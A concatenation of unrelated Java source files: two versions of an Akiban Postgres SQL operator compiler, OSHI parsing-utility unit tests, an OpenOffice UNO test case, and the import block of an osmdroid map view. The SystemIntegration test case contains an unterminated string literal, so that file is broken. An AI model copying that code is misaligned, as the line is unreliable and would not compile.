import com.akiban.server.service.instrumentation.SessionTracer;
import com.akiban.server.expression.EnvironmentExpressionSetting;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import java.util.*;
/**
* Compile SQL SELECT statements into operator trees if possible.
*/
public class PostgresOperatorCompiler extends OperatorCompiler
implements PostgresStatementGenerator
{
private static final Logger logger = LoggerFactory.getLogger(PostgresOperatorCompiler.class);
private SessionTracer tracer;
public PostgresOperatorCompiler(PostgresServerSession server) {
super(server.getParser(), server.getAIS(), server.getDefaultSchemaName(),
server.functionsRegistry(), server.indexEstimator());
server.setAttribute("aisBinder", binder);
server.setAttribute("compiler", this);
tracer = server.getSessionTracer();
}
@Override
public PostgresStatement parse(PostgresServerSession server,
String sql, int[] paramTypes) {
// This very inefficient reparsing by every generator is actually avoided.
SQLParser parser = server.getParser();
try {
return generate(server, parser.parseStatement(sql),
parser.getParameterList(), paramTypes);
}
catch (StandardException e) {
throw new ParseException("", e.getMessage(), sql);
}
}
@Override
public void sessionChanged(PostgresServerSession server) {
binder.setDefaultSchemaName(server.getDefaultSchemaName());
}
@Override
protected DMLStatementNode bindAndTransform(DMLStatementNode stmt) {
try {
tracer.beginEvent(EventTypes.BIND_AND_GROUP); // TODO: rename.
return super.bindAndTransform(stmt);
}
finally {
tracer.endEvent();
}
}
static class PostgresResultColumn extends PhysicalResultColumn {
private PostgresType type;
public PostgresResultColumn(String name, PostgresType type) {
super(name);
this.type = type;
}
public PostgresType getType() {
return type;
}
}
@Override
public PhysicalResultColumn getResultColumn(ResultField field) {
PostgresType pgType = null;
if (field.getAIScolumn() != null) {
pgType = PostgresType.fromAIS(field.getAIScolumn());
}
else if (field.getSQLtype() != null) {
pgType = PostgresType.fromDerby(field.getSQLtype());
}
return new PostgresResultColumn(field.getName(), pgType);
}
@Override
public PostgresStatement generate(PostgresServerSession session,
StatementNode stmt,
List<ParameterNode> params, int[] paramTypes) {
if (stmt instanceof CallStatementNode || !(stmt instanceof DMLStatementNode))
return null;
DMLStatementNode dmlStmt = (DMLStatementNode)stmt;
BasePlannable result = null;
tracer = session.getSessionTracer(); // Don't think this ever changes.
try {
tracer.beginEvent(EventTypes.COMPILE);
result = compile(dmlStmt, params);
}
finally {
session.getSessionTracer().endEvent();
}
logger.debug("Operator:\n{}", result);
PostgresType[] parameterTypes = null;
if (result.getParameterTypes() != null) {
DataTypeDescriptor[] sqlTypes = result.getParameterTypes();
int nparams = sqlTypes.length;
parameterTypes = new PostgresType[nparams];
for (int i = 0; i < nparams; i++) {
DataTypeDescriptor sqlType = sqlTypes[i];
if (sqlType != null)
parameterTypes[i] = PostgresType.fromDerby(sqlType);
}
}
List<EnvironmentExpressionSetting> environmentSettings = result.getEnvironmentSettings();
if (result.isUpdate())
return generateUpdate((PhysicalUpdate)result, stmt.statementToString(),
parameterTypes, environmentSettings);
else
return generateSelect((PhysicalSelect)result,
parameterTypes, environmentSettings);
}
protected PostgresStatement generateUpdate(PhysicalUpdate update, String statementType,
PostgresType[] parameterTypes, List<EnvironmentExpressionSetting> environmentSettings) {
return new PostgresModifyOperatorStatement(statementType,
update.getUpdatePlannable(),
parameterTypes, environmentSettings);
}
protected PostgresStatement generateSelect(PhysicalSelect select,
PostgresType[] parameterTypes, List<EnvironmentExpressionSetting> environmentSettings) {
int ncols = select.getResultColumns().size();
List<String> columnNames = new ArrayList<String>(ncols);
List<PostgresType> columnTypes = new ArrayList<PostgresType>(ncols);
for (PhysicalResultColumn physColumn : select.getResultColumns()) {
PostgresResultColumn resultColumn = (PostgresResultColumn)physColumn;
columnNames.add(resultColumn.getName());
columnTypes.add(resultColumn.getType());
}
return new PostgresOperatorStatement(select.getResultOperator(),
select.getResultRowType(),
columnNames, columnTypes,
parameterTypes, environmentSettings);
}
@Override
public void beginRule(BaseRule rule) {
tracer.beginEvent(rule.getTraceName());
}
@Override
public void endRule(BaseRule rule) {
tracer.endEvent();
}
}
|
package oshi.util;
import static org.junit.Assert.assertEquals;
import static org.junit.Assert.assertFalse;
import static org.junit.Assert.assertNotNull;
import static org.junit.Assert.assertNull;
import static org.junit.Assert.assertTrue;
import java.time.Instant;
import java.util.Arrays;
import java.util.List;
import org.junit.Test;
import oshi.util.tuples.Pair;
/**
* The Class ParseUtilTest.
*/
public class ParseUtilTest {
/**
* Test parse hertz.
*/
@Test
public void testParseHertz() {
assertEquals("Failed to parse OneHz", -1L, ParseUtil.parseHertz("OneHz"));
assertEquals("Failed to parse NotEvenAHertz", -1L, ParseUtil.parseHertz("NotEvenAHertz"));
assertEquals("Failed to parse 10000000000000000000 Hz", Long.MAX_VALUE,
ParseUtil.parseHertz("10000000000000000000 Hz"));
assertEquals("Failed to parse 1Hz", 1L, ParseUtil.parseHertz("1Hz"));
assertEquals("Failed to parse 500 Hz", 500L, ParseUtil.parseHertz("500 Hz"));
assertEquals("Failed to parse 1kHz", 1_000L, ParseUtil.parseHertz("1kHz"));
assertEquals("Failed to parse 1MHz", 1_000_000L, ParseUtil.parseHertz("1MHz"));
assertEquals("Failed to parse 1GHz", 1_000_000_000L, ParseUtil.parseHertz("1GHz"));
assertEquals("Failed to parse 1.5GHz", 1_500_000_000L, ParseUtil.parseHertz("1.5GHz"));
assertEquals("Failed to parse 1THz", 1_000_000_000_000L, ParseUtil.parseHertz("1THz"));
// GHz exceeds max double
}
/**
* Test parse string.
*/
@Test
public void testParseLastInt() {
assertEquals("Failed to parse -1", -1, ParseUtil.parseLastInt("foo : bar", -1));
assertEquals("Failed to parse 1", 1, ParseUtil.parseLastInt("foo : 1", 0));
assertEquals("Failed to parse 2", 2, ParseUtil.parseLastInt("foo", 2));
assertEquals("Failed to parse 3", 3, ParseUtil.parseLastInt("max_int plus one is 2147483648", 3));
assertEquals("Failed to parse 255", 255, ParseUtil.parseLastInt("0xff", 4));
assertEquals("Failed to parse -1 as long", -1L, ParseUtil.parseLastLong("foo : bar", -1L));
assertEquals("Failed to parse 1 as long", 1L, ParseUtil.parseLastLong("foo : 1", 0L));
assertEquals("Failed to parse 2 as long", 2L, ParseUtil.parseLastLong("foo", 2L));
assertEquals("Failed to parse 2147483648L as long", 2147483648L,
ParseUtil.parseLastLong("max_int plus one is" + " 2147483648", 3L));
assertEquals("Failed to parse 255 as long", 255L, ParseUtil.parseLastLong("0xff", 0L));
double epsilon = 1.1102230246251565E-16;
assertEquals("Failed to parse -1 as double", -1d, ParseUtil.parseLastDouble("foo : bar", -1d), epsilon);
assertEquals("Failed to parse 1 as double", 1.0, ParseUtil.parseLastDouble("foo : 1.0", 0d), epsilon);
assertEquals("Failed to parse 2 as double", 2d, ParseUtil.parseLastDouble("foo", 2d), epsilon);
}
/**
* Test parse string.
*/
@Test
public void testParseLastString() {
assertEquals("Failed to parse bar", "bar", ParseUtil.parseLastString("foo : bar"));
assertEquals("Failed to parse foo", "foo", ParseUtil.parseLastString("foo"));
assertEquals("Failed to parse \"\"", "", ParseUtil.parseLastString(""));
}
/**
* Test hex string to byte array (and back).
*/
@Test
public void testHexStringToByteArray() {
byte[] temp = { (byte) 0x12, (byte) 0xaf };
assertTrue(Arrays.equals(temp, ParseUtil.hexStringToByteArray("12af")));
assertEquals("Failed to parse 12AF", "12AF", ParseUtil.byteArrayToHexString(temp));
temp = new byte[0];
assertTrue(Arrays.equals(temp, ParseUtil.hexStringToByteArray("expected error abcde")));
assertTrue(Arrays.equals(temp, ParseUtil.hexStringToByteArray("abcde")));
}
/**
* Test string to byte array.
*/
@Test
public void testStringToByteArray() {
byte[] temp = { (byte) '1', (byte) '2', (byte) 'a', (byte) 'f', (byte) 0 };
assertTrue(Arrays.equals(temp, ParseUtil.asciiStringToByteArray("12af", 5)));
}
/**
* Test long to byte array.
*/
@Test
public void testLongToByteArray() {
byte[] temp = { (byte) 0x12, (byte) 0x34, (byte) 0x56, (byte) 0x78, (byte) 0 };
assertTrue(Arrays.equals(temp, ParseUtil.longToByteArray(0x12345678, 4, 5)));
}
/**
* Test string and byte array to long.
*/
@Test
public void testStringAndByteArrayToLong() {
byte[] temp = { (byte) 'a', (byte) 'b', (byte) 'c', (byte) 'd', (byte) 'e' };
long abcde = (long) temp[0] << 32 | temp[1] << 24 | temp[2] << 16 | temp[3] << 8 | temp[4];
// Test string
assertEquals("Failed to parse \"abcde\"", abcde, ParseUtil.strToLong("abcde", 5));
// Test byte array
assertEquals("Failed to parse " + abcde, abcde, ParseUtil.byteArrayToLong(temp, 5));
}
@Test(expected = IllegalArgumentException.class)
public void testByteArrayToLongSizeTooBig() {
ParseUtil.byteArrayToLong(new byte[10], 9);
}
@Test(expected = IllegalArgumentException.class)
public void testByteArrayToLongSizeBigger() {
ParseUtil.byteArrayToLong(new byte[7], 8);
}
/**
* Test byte arry to float
*/
@Test
public void testByteArrayToFloat() {
byte[] temp = { (byte) 0x12, (byte) 0x34, (byte) 0x56, (byte) 0x78, (byte) 0x9a };
float f = (temp[0] << 22 | temp[1] << 14 | temp[2] << 6 | temp[3] >>> 2) + (float) (temp[3] & 0x3) / 0x4;
assertEquals(f, ParseUtil.byteArrayToFloat(temp, 4, 2), Float.MIN_VALUE);
f = 0x12345 + (float) 0x6 / 0x10;
assertEquals(f, ParseUtil.byteArrayToFloat(temp, 3, 4), Float.MIN_VALUE);
f = 0x123 + (float) 0x4 / 0x10;
assertEquals(f, ParseUtil.byteArrayToFloat(temp, 2, 4), Float.MIN_VALUE);
}
/**
* Test unsigned int to long
*/
@Test
public void testUnsignedIntToLong() {
assertEquals("Failed to parse 0 as long", 0L, ParseUtil.unsignedIntToLong(0));
assertEquals("Failed to parse 123 as long", 123L, ParseUtil.unsignedIntToLong(123));
assertEquals("Failed to parse 4294967295L as long", 4294967295L, ParseUtil.unsignedIntToLong(0xffffffff));
}
/**
* Test unsigned long to signed long
*/
@Test
public void testUnsignedLongToSignedLong() {
assertEquals("Failed to parse 1 as signed long", 1L, ParseUtil.unsignedLongToSignedLong(Long.MAX_VALUE + 2));
assertEquals("Failed to parse 123 as signed long", 123L, ParseUtil.unsignedLongToSignedLong(123));
assertEquals("Failed to parse 9223372036854775807 as signed long", 9223372036854775807L,
ParseUtil.unsignedLongToSignedLong(9223372036854775807L));
}
/**
* Test hex string to string
*/
@Test
public void testHexStringToString() {
assertEquals("Failed to parse ABC as string", "ABC", ParseUtil.hexStringToString("414243"));
assertEquals("Failed to parse ab00cd as string", "ab00cd", ParseUtil.hexStringToString("ab00cd"));
assertEquals("Failed to parse ab88cd as string", "ab88cd", ParseUtil.hexStringToString("ab88cd"));
assertEquals("Failed to parse notHex as string", "notHex", ParseUtil.hexStringToString("notHex"));
assertEquals("Failed to parse 320 as string", "320", ParseUtil.hexStringToString("320"));
assertEquals("Failed to parse 0 as string", "0", ParseUtil.hexStringToString("0"));
}
/**
* Test parse int
*/
@Test
public void testParseIntOrDefault() {
assertEquals("Failed to parse 123", 123, ParseUtil.parseIntOrDefault("123", 45));
assertEquals("Failed to parse 45", 45, ParseUtil.parseIntOrDefault("123X", 45));
}
/**
* Test parse long
*/
@Test
public void testParseLongOrDefault() {
assertEquals("Failed to parse 123", 123L, ParseUtil.parseLongOrDefault("123", 45L));
assertEquals("Failed to parse 45", 45L, ParseUtil.parseLongOrDefault("123L", 45L));
}
/**
* Test parse long
*/
@Test
public void testParseUnsignedLongOrDefault() {
assertEquals("Failed to parse 9223372036854775807L", 9223372036854775807L,
ParseUtil.parseUnsignedLongOrDefault("9223372036854775807", 123L));
assertEquals("Failed to parse 9223372036854775808L", -9223372036854775808L,
ParseUtil.parseUnsignedLongOrDefault("9223372036854775808", 45L));
assertEquals("Failed to parse 1L", -1L, ParseUtil.parseUnsignedLongOrDefault("18446744073709551615", 123L));
assertEquals("Failed to parse 0L", 0L, ParseUtil.parseUnsignedLongOrDefault("18446744073709551616", 45L));
assertEquals("Failed to parse 123L", 123L, ParseUtil.parseUnsignedLongOrDefault("9223372036854775808L", 123L));
}
/**
* Test parse double
*/
@Test
public void testParseDoubleOrDefault() {
assertEquals("Failed to parse 1.23d", 1.23d, ParseUtil.parseDoubleOrDefault("1.23", 4.5d), Double.MIN_VALUE);
assertEquals("Failed to parse 4.5d", 4.5d, ParseUtil.parseDoubleOrDefault("one.twentythree", 4.5d),
Double.MIN_VALUE);
}
/**
* Test parse DHMS
*/
@Test
public void testParseDHMSOrDefault() {
assertEquals("Failed to parse 93784050L", 93784050L, ParseUtil.parseDHMSOrDefault("1-02:03:04.05", 0L));
assertEquals("Failed to parse 93784000L", 93784000L, ParseUtil.parseDHMSOrDefault("1-02:03:04", 0L));
assertEquals("Failed to parse 7384000L", 7384000L, ParseUtil.parseDHMSOrDefault("02:03:04", 0L));
assertEquals("Failed to parse 184050L", 184050L, ParseUtil.parseDHMSOrDefault("03:04.05", 0L));
assertEquals("Failed to parse 184000L", 184000L, ParseUtil.parseDHMSOrDefault("03:04", 0L));
assertEquals("Failed to parse 4000L", 4000L, ParseUtil.parseDHMSOrDefault("04", 0L));
assertEquals("Failed to parse 0L", 0L, ParseUtil.parseDHMSOrDefault("04:05-06", 0L));
}
/**
* Test parse UUID
*/
@Test
public void testParseUuidOrDefault() {
assertEquals("Failed to parse 123e4567-e89b-12d3-a456-426655440000", "123e4567-e89b-12d3-a456-426655440000",
ParseUtil.parseUuidOrDefault("123e4567-e89b-12d3-a456-426655440000", "default"));
assertEquals("Failed to parse 123e4567-e89b-12d3-a456-426655440000", "123e4567-e89b-12d3-a456-426655440000",
ParseUtil.parseUuidOrDefault("The UUID is 123E4567-E89B-12D3-A456-426655440000!", "default"));
assertEquals("Failed to parse foo or default", "default", ParseUtil.parseUuidOrDefault("foo", "default"));
}
/**
* Test parse SingleQuoteString
*/
@Test
public void testGetSingleQuoteStringValue() {
assertEquals("Failed to parse bar", "bar", ParseUtil.getSingleQuoteStringValue("foo = 'bar' (string)"));
assertEquals("Failed to parse empty string", "", ParseUtil.getSingleQuoteStringValue("foo = bar (string)"));
}
@Test
public void testGetDoubleQuoteStringValue() {
assertEquals("Failed to parse bar", "bar", ParseUtil.getDoubleQuoteStringValue("foo = \"bar\" (string)"));
assertEquals("Failed to parse empty string", "", ParseUtil.getDoubleQuoteStringValue("hello"));
}
/**
* Test parse SingleQuoteBetweenMultipleQuotes
*/
@Test
public void testGetStringBetweenMultipleQuotes() {
assertEquals("Failed to parse Single quotes between Multiple quotes", "hello $ is",
ParseUtil.getStringBetween("hello = $hello $ is $", '$'));
assertEquals("Failed to parse Single quotes between Multiple quotes", "Realtek AC'97 Audio",
ParseUtil.getStringBetween("pci.device = 'Realtek AC'97 Audio'", '\''));
}
/**
* Test parse FirstIntValue
*/
@Test
public void testGetFirstIntValue() {
assertEquals("Failed to parse FirstIntValue", 42, ParseUtil.getFirstIntValue("foo = 42 (0x2a) (int)"));
assertEquals("Failed to parse FirstIntValue", 0, ParseUtil.getFirstIntValue("foo = 0x2a (int)"));
assertEquals("Failed to parse FirstIntValue", 42, ParseUtil.getFirstIntValue("42"));
assertEquals("Failed to parse FirstIntValue", 10, ParseUtil.getFirstIntValue("10.12.2"));
}
/**
* Test parse NthIntValue
*/
@Test
public void testGetNthIntValue() {
assertEquals("Failed to parse NthIntValue", 2, ParseUtil.getNthIntValue("foo = 42 (0x2a) (int)", 3));
assertEquals("Failed to parse NthIntValue", 0, ParseUtil.getNthIntValue("foo = 0x2a (int)", 3));
assertEquals("Failed to parse NthIntValue", 12, ParseUtil.getNthIntValue("10.12.2", 2));
}
/**
* Test parse removeMatchingString
*/
@Test
public void testRemoveMatchingString() {
assertEquals("Failed to parse removeMatchingString", "foo = 42 () (int)",
ParseUtil.removeMatchingString("foo = 42 (0x2a) (int)", "0x2a"));
assertEquals("Failed to parse removeMatchingString", "foo = 0x2a (int)",
ParseUtil.removeMatchingString("foo = 0x2a (int)", "qqq"));
assertEquals("Failed to parse removeMatchingString", "10.1.", ParseUtil.removeMatchingString("10.12.2", "2"));
assertEquals("Failed to parse removeMatchingString", "", ParseUtil.removeMatchingString("10.12.2", "10.12.2"));
assertEquals("Failed to parse removeMatchingString", "", ParseUtil.removeMatchingString("", "10.12.2"));
assertEquals("Failed to parse removeMatchingString", null, ParseUtil.removeMatchingString(null, "10.12.2"));
assertEquals("Failed to parse removeMatchingString", "2", ParseUtil.removeMatchingString("10.12.2", "10.12."));
}
/**
* Test parse string to array
*/
@Test
public void testParseStringToLongArray() {
int[] indices = { 1, 3 };
long now = System.currentTimeMillis();
String foo = String.format("The numbers are %d %d %d %d", 123, 456, 789, now);
int count = ParseUtil.countStringToLongArray(foo, ' ');
assertEquals("countStringToLongArray should return 4 for \"" + foo + "\"", 4, count);
long[] result = ParseUtil.parseStringToLongArray(foo, indices, 4, ' ');
assertEquals("result[0] should be 456 using parseStringToLongArray on \"" + foo + "\"", 456L, result[0]);
assertEquals("result[1] should be " + now + " using parseStringToLongArray on \"" + foo + "\"", now, result[1]);
foo = String.format("The numbers are %d %d %d %d %s", 123, 456, 789, now,
"709af748-5f8e-41b3-b73a-b440ef4406c8");
count = ParseUtil.countStringToLongArray(foo, ' ');
assertEquals("countStringToLongArray should return 4 for \"" + foo + "\"", 4, count);
result = ParseUtil.parseStringToLongArray(foo, indices, 4, ' ');
assertEquals("result[0] should be 456 using parseStringToLongArray on \"" + foo + "\"", 456L, result[0]);
assertEquals("result[1] should be " + now + " using parseStringToLongArray on \"" + foo + "\"", now, result[1]);
foo = String.format("The numbers are %d -%d %d +%d", 123, 456, 789, now);
count = ParseUtil.countStringToLongArray(foo, ' ');
assertEquals("countStringToLongArray should return 4 for \"" + foo + "\"", 4, count);
result = ParseUtil.parseStringToLongArray(foo, indices, 4, ' ');
assertEquals("result[0] should be -4456 using parseStringToLongArray on \"" + foo + "\"", -456L, result[0]);
assertEquals("result[1] index should be 456 using parseStringToLongArray on \"" + foo + "\"", now, result[1]);
foo = String.format("Invalid character %d %s %d %d", 123, "4v6", 789, now);
count = ParseUtil.countStringToLongArray(foo, ' ');
assertEquals("countStringToLongArray should return 2 for \"" + foo + "\"", 2, count);
result = ParseUtil.parseStringToLongArray(foo, indices, 4, ' ');
assertEquals("result[1] index should be 0 using parseStringToLongArray on \"" + foo + "\"", 0, result[1]);
foo = String.format("Exceeds max long %d %d %d 1%d", 123, 456, 789, Long.MAX_VALUE);
result = ParseUtil.parseStringToLongArray(foo, indices, 4, ' ');
assertEquals("result[1] index should be " + Long.MAX_VALUE
+ " (Long.MAX_VALUE) using parseStringToLongArray on \"" + foo + "\"", Long.MAX_VALUE, result[1]);
foo = String.format("String too short %d %d %d %d", 123, 456, 789, now);
result = ParseUtil.parseStringToLongArray(foo, indices, 9, ' ');
assertEquals("result[1] index should be 0 using parseStringToLongArray on \"" + foo + "\"", 0, result[1]);
foo = String.format("Array too short %d %d %d %d", 123, 456, 789, now);
result = ParseUtil.parseStringToLongArray(foo, indices, 2, ' ');
assertEquals("result[1] index should be 0 using parseStringToLongArray on \"" + foo + "\"", 0, result[1]);
foo = String.format("%d %d %d %d", 123, 456, 789, now);
count = ParseUtil.countStringToLongArray(foo, ' ');
assertEquals("countStringToLongArray should return 4 for \"" + foo + "\"", 4, count);
foo = String.format("%d %d %d %d nonNumeric", 123, 456, 789, now);
count = ParseUtil.countStringToLongArray(foo, ' ');
assertEquals("countStringToLongArray should return 4 for \"" + foo + "\"", 4, count);
foo = String.format("%d %d %d %d 123-456", 123, 456, 789, now);
count = ParseUtil.countStringToLongArray(foo, ' ');
assertEquals("countStringToLongArray should return 4 for \"" + foo + "\"", 4, count);
}
@Test
public void testTextBetween() {
String text = "foo bar baz";
String before = "foo";
String after = "baz";
assertEquals(" bar ", ParseUtil.getTextBetweenStrings(text, before, after));
before = "";
assertEquals("foo bar ", ParseUtil.getTextBetweenStrings(text, before, after));
before = "food";
assertEquals("", ParseUtil.getTextBetweenStrings(text, before, after));
before = "foo";
after = "qux";
assertEquals("", ParseUtil.getTextBetweenStrings(text, before, after));
}
@Test
public void testFiletimeToMs() {
assertEquals(1172163600306L, ParseUtil.filetimeToUtcMs(128166372003061629L, false));
}
@Test
public void testParseCimDateTimeToOffset() {
String cimDateTime = "20160513072950.782000-420";
// 2016-05-13T07:29:50 == 1463124590
// Add 420 minutes to get unix seconds
Instant timeInst = Instant.ofEpochMilli(1463124590_782L + 60 * 420_000L);
assertEquals(timeInst, ParseUtil.parseCimDateTimeToOffset(cimDateTime).toInstant());
assertEquals(Instant.EPOCH, ParseUtil.parseCimDateTimeToOffset("Not a datetime").toInstant());
}
@Test
public void testFilePathStartsWith() {
List<String> prefixList = Arrays.asList("/foo", "/bar");
assertEquals(true, ParseUtil.filePathStartsWith(prefixList, "/foo"));
assertEquals(true, ParseUtil.filePathStartsWith(prefixList, "/foo/bar"));
assertEquals(false, ParseUtil.filePathStartsWith(prefixList, "/foobar"));
assertEquals(true, ParseUtil.filePathStartsWith(prefixList, "/foo/baz"));
assertEquals(false, ParseUtil.filePathStartsWith(prefixList, "/baz/foo"));
}
@Test
public void testParseDecimalMemorySizeToBinary() {
assertEquals(0, ParseUtil.parseDecimalMemorySizeToBinary("Not a number"));
assertEquals(1, ParseUtil.parseDecimalMemorySizeToBinary("1"));
assertEquals(1024, ParseUtil.parseDecimalMemorySizeToBinary("1 kB"));
assertEquals(1024, ParseUtil.parseDecimalMemorySizeToBinary("1 KB"));
assertEquals(1_048_576, ParseUtil.parseDecimalMemorySizeToBinary("1 MB"));
assertEquals(1_048_576, ParseUtil.parseDecimalMemorySizeToBinary("1MB"));
assertEquals(1_073_741_824, ParseUtil.parseDecimalMemorySizeToBinary("1 GB"));
assertEquals(1_099_511_627_776L, ParseUtil.parseDecimalMemorySizeToBinary("1 TB"));
}
@Test
public void testParsePnPDeviceIdToVendorProductId() {
Pair<String, String> idPair = ParseUtil
.parsePnPDeviceIdToVendorProductId("PCI\\VEN_10DE&DEV_134B&SUBSYS_00081414&REV_A2\\4&25BACB6&0&00E0");
assertNotNull(idPair);
assertEquals("First element of pair mismatch.", "0x10de", idPair.getA());
assertEquals("Second element of pair mismatch.", "0x134b", idPair.getB());
idPair = ParseUtil
.parsePnPDeviceIdToVendorProductId("PCI\\VEN_80286&DEV_19116&SUBSYS_00141414&REV_07\\3&11583659&0&10");
assertNull(idPair);
}
@Test
public void testParseLshwResourceString() {
assertEquals(268_435_456L + 65_536L, ParseUtil.parseLshwResourceString(
"irq:46 ioport:6000(size=32) memory:b0000000-bfffffff memory:e2000000-e200ffff"));
assertEquals(268_435_456L, ParseUtil.parseLshwResourceString(
"irq:46 ioport:6000(size=32) memory:b0000000-bfffffff memory:x2000000-e200ffff"));
assertEquals(65_536L, ParseUtil.parseLshwResourceString(
"irq:46 ioport:6000(size=32) memory:x0000000-bfffffff memory:e2000000-e200ffff"));
assertEquals(0, ParseUtil.parseLshwResourceString("some random string"));
}
@Test
public void testParseLspciMachineReadable() {
Pair<String, String> pair = ParseUtil.parseLspciMachineReadable("foo [bar]");
assertEquals("First element of pair mismatch.", "foo", pair.getA());
assertEquals("Second element of pair mismatch.", "bar", pair.getB());
assertNull(ParseUtil.parseLspciMachineReadable("Bad format"));
}
@Test
public void testParseLspciMemorySize() {
assertEquals(0, ParseUtil.parseLspciMemorySize("Doesn't parse"));
assertEquals(64 * 1024, ParseUtil.parseLspciMemorySize("Foo [size=64K]"));
assertEquals(256 * 1024 * 1024, ParseUtil.parseLspciMemorySize("Foo [size=256M]"));
}
@Test
public void testParseHyphenatedIntList() {
String s = "1";
List<Integer> parsed = ParseUtil.parseHyphenatedIntList(s);
assertFalse(parsed.contains(0));
assertTrue(parsed.contains(1));
s = "0 2-5 7";
parsed = ParseUtil.parseHyphenatedIntList(s);
assertTrue(parsed.contains(0));
assertFalse(parsed.contains(1));
assertTrue(parsed.contains(2));
assertTrue(parsed.contains(3));
assertTrue(parsed.contains(4));
assertTrue(parsed.contains(5));
assertFalse(parsed.contains(6));
assertTrue(parsed.contains(7));
}
@Test
public void testParseMmDdYyyyToYyyyMmDD() {
assertEquals("Unable to parse MM-DD-YYYY date string into YYYY-MM-DD date string", "2222-00-11",
ParseUtil.parseMmDdYyyyToYyyyMmDD("00-11-2222"));
assertEquals("Date string should not be parsed", "badstr", ParseUtil.parseMmDdYyyyToYyyyMmDD("badstr"));
}
@Test
public void testParseUtAddrV6toIP() {
int[] zero = { 0, 0, 0, 0 };
int[] loopback = { 0, 0, 0, 1 };
String v6test = "2001:db8:85a3::8a2e:370:7334";
int[] v6 = new int[4];
v6[0] = Integer.parseUnsignedInt("20010db8", 16);
v6[1] = Integer.parseUnsignedInt("85a30000", 16);
v6[2] = Integer.parseUnsignedInt("00008a2e", 16);
v6[3] = Integer.parseUnsignedInt("03707334", 16);
String v4test = "127.0.0.1";
int[] v4 = new int[4];
v4[0] = (127 << 24) + 1;
assertEquals("Unspecified address failed", "::", ParseUtil.parseUtAddrV6toIP(zero));
assertEquals("Loopback address failed", "::1", ParseUtil.parseUtAddrV6toIP(loopback));
assertEquals("V6 parsing failed", v6test, ParseUtil.parseUtAddrV6toIP(v6));
assertEquals("V4 parsig failed", v4test, ParseUtil.parseUtAddrV6toIP(v4));
}
@Test
public void testHexStringToLong() {
assertEquals(255L, ParseUtil.hexStringToLong("ff", 0L));
assertEquals(-2096147552L, ParseUtil.hexStringToLong("ffffffff830f53a0", 0L));
assertEquals(0L, ParseUtil.hexStringToLong("pqwe", 0L));
}
@Test
public void testRemoveLeadingDots() {
assertEquals("foo", ParseUtil.removeLeadingDots("foo"));
assertEquals("bar", ParseUtil.removeLeadingDots("...bar"));
assertEquals("", ParseUtil.removeLeadingDots("..."));
}
}
|
package mod._sysmgr1;
import com.sun.star.lang.XInitialization;
import com.sun.star.lang.XMultiServiceFactory;
import com.sun.star.uno.UnoRuntime;
import com.sun.star.uno.XInterface;
import java.io.PrintWriter;
import lib.TestCase;
import lib.TestEnvironment;
import lib.TestParameters;
public class SystemIntegration extends TestCase {
protected TestEnvironment createTestEnvironment(TestParameters tParam, PrintWriter log) {
XInterface oObj = null;
Object[] args = new Object[0];
try {
oObj = (XInterface) ((XMultiServiceFactory)tParam.getMSF())
.createInstance("com.sun.star.comp.configuration.backend.SystemIntegration");
XInitialization xInit = (XInitialization) UnoRuntime.queryInterface(XInitialization.class,oObj);
xInit.initialize(args);
} catch (com.sun.star.uno.Exception e) {
}
log.println("Implementation name: "+ util.utils.getImplName(oObj));
TestEnvironment tEnv = new TestEnvironment(oObj);
//objRelation for XBackend
tEnv.addObjRelation("noUpdate", "SystemIntegrationManager: No Update Operation allowed, Read Only access
return tEnv;
}
}
|
package com.akiban.sql.pg;
import com.akiban.sql.StandardException;
import com.akiban.sql.optimizer.OperatorCompiler;
import com.akiban.sql.parser.SQLParser;
import com.akiban.sql.parser.CursorNode;
import com.akiban.ais.model.AkibanInformationSchema;
import com.akiban.ais.model.Index;
import com.akiban.qp.persistitadapter.OperatorStore;
import com.akiban.qp.persistitadapter.PersistitAdapter;
import com.akiban.qp.persistitadapter.PersistitGroupRow;
import com.akiban.qp.row.Row;
import com.akiban.server.api.dml.scan.NiceRow;
import com.akiban.server.service.ServiceManager;
import com.akiban.server.service.session.Session;
import com.akiban.server.store.PersistitStore;
import com.akiban.server.store.Store;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import java.util.*;
/**
* Compile SQL SELECT statements into operator trees if possible.
*/
public class PostgresOperatorCompiler extends OperatorCompiler
implements PostgresStatementCompiler
{
private static final Logger logger = LoggerFactory.getLogger(PostgresOperatorCompiler.class);
private PersistitAdapter adapter;
public PostgresOperatorCompiler(SQLParser parser,
AkibanInformationSchema ais, String defaultSchemaName,
Session session, ServiceManager serviceManager) {
super(parser, ais, defaultSchemaName);
Store store = serviceManager.getStore();
PersistitStore persistitStore;
if (store instanceof OperatorStore)
persistitStore = ((OperatorStore)store).getPersistitStore();
else
persistitStore = (PersistitStore)store;
adapter = new PersistitAdapter(schema, persistitStore, session);
}
@Override
public PostgresStatement compile(CursorNode cursor, int[] paramTypes)
throws StandardException {
Result result = compile(cursor);
logger.warn("Operator:\n{}", result);
return new PostgresOperatorStatement(adapter,
result.getResultOperator(),
result.getResultRowType(),
result.getResultColumns(),
result.getResultColumnOffsets());
}
protected Row getIndexRow(Index index, Object[] keys) {
NiceRow niceRow = new NiceRow(index.getTable().getTableId());
for (int i = 0; i < keys.length; i++) {
niceRow.put(index.getColumns().get(i).getColumn().getPosition(), keys[i]);
}
return PersistitGroupRow.newPersistitGroupRow(adapter, niceRow.toRowData());
}
}
|
package org.osmdroid.views;
import java.util.List;
import java.util.concurrent.atomic.AtomicBoolean;
import java.util.concurrent.atomic.AtomicInteger;
import microsoft.mappoint.TileSystem;
import net.wigle.wigleandroid.ZoomButtonsController;
import net.wigle.wigleandroid.ZoomButtonsController.OnZoomListener;
import org.metalev.multitouch.controller.MultiTouchController;
import org.metalev.multitouch.controller.MultiTouchController.MultiTouchObjectCanvas;
import org.metalev.multitouch.controller.MultiTouchController.PointInfo;
import org.metalev.multitouch.controller.MultiTouchController.PositionAndScale;
import org.osmdroid.DefaultResourceProxyImpl;
import org.osmdroid.ResourceProxy;
import org.osmdroid.api.IGeoPoint;
import org.osmdroid.api.IMapView;
import org.osmdroid.api.IProjection;
import org.osmdroid.events.MapListener;
import org.osmdroid.events.ScrollEvent;
import org.osmdroid.events.ZoomEvent;
import org.osmdroid.tileprovider.MapTileProviderBase;
import org.osmdroid.tileprovider.MapTileProviderBasic;
import org.osmdroid.tileprovider.tilesource.IStyledTileSource;
import org.osmdroid.tileprovider.tilesource.ITileSource;
import org.osmdroid.tileprovider.tilesource.TileSourceFactory;
import org.osmdroid.tileprovider.util.SimpleInvalidationHandler;
import org.osmdroid.util.BoundingBoxE6;
import org.osmdroid.util.GeoPoint;
